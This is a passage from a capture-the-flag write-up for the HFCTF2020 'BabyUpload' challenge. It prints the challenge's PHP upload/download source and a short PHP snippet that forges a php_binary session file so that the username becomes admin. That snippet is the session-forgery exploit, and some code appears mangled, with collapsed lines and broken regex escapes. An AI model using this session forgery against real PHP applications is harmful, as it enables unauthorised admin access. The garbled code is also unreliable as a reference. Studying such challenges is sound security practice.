[HFCTF2020]BabyUpload解题步骤详解

<?phperror_reporting(0);session_save_path("/var/babyctf/");session_start();require_once "/flag";highlight_file(__FILE__);if($_SESSION['username'] ==='admin'){    $filename='/var/babyctf/success.txt';    if(file_exists($filename)){            safe_delete($filename);            die($flag);    }}else{    $_SESSION['username'] ='guest';}$direction = filter_input(INPUT_POST, 'direction');$attr = filter_input(INPUT_POST, 'attr');$dir_path = "/var/babyctf/".$attr;if($attr==="private"){    $dir_path .= "/".$_SESSION['username'];}if($direction === "upload"){    try{        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){            throw new RuntimeException('invalid upload');        }        $file_path = $dir_path."/".$_FILES['up_file']['name'];        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);        if(preg_match('/(../|..\\)/', $file_path)){            throw new RuntimeException('invalid file path');        }        @mkdir($dir_path, 0700, TRUE);        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){            $upload_result = "uploaded";        }else{            throw new RuntimeException('error while saving');        }    } catch (RuntimeException $e) {        $upload_result = $e->getMessage();    }} elseif ($direction === "download") {    try{        $filename = basename(filter_input(INPUT_POST, 'filename'));        $file_path = $dir_path."/".$filename;        if(preg_match('/(../|..\\)/', $file_path)){            throw new RuntimeException('invalid file path');        }        if(!file_exists($file_path)) {            throw new RuntimeException('file not exist');        }        header('Content-Type: application/force-download');        header('Content-Length: '.filesize($file_path));        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');        if(readfile($file_path)){            $download_result = "downloaded";        }else{            throw new RuntimeException('error while saving');        }    } catch (RuntimeException $e) {        $download_result = $e->getMessage();    }    exit;}?>

<?phpini_set('session.serialize_handler', 'php_binary');session_save_path("D:\phpStudy_64\phpstudy_pro\WWW\ctf\");session_start();
$_SESSION['username'] = 'admin';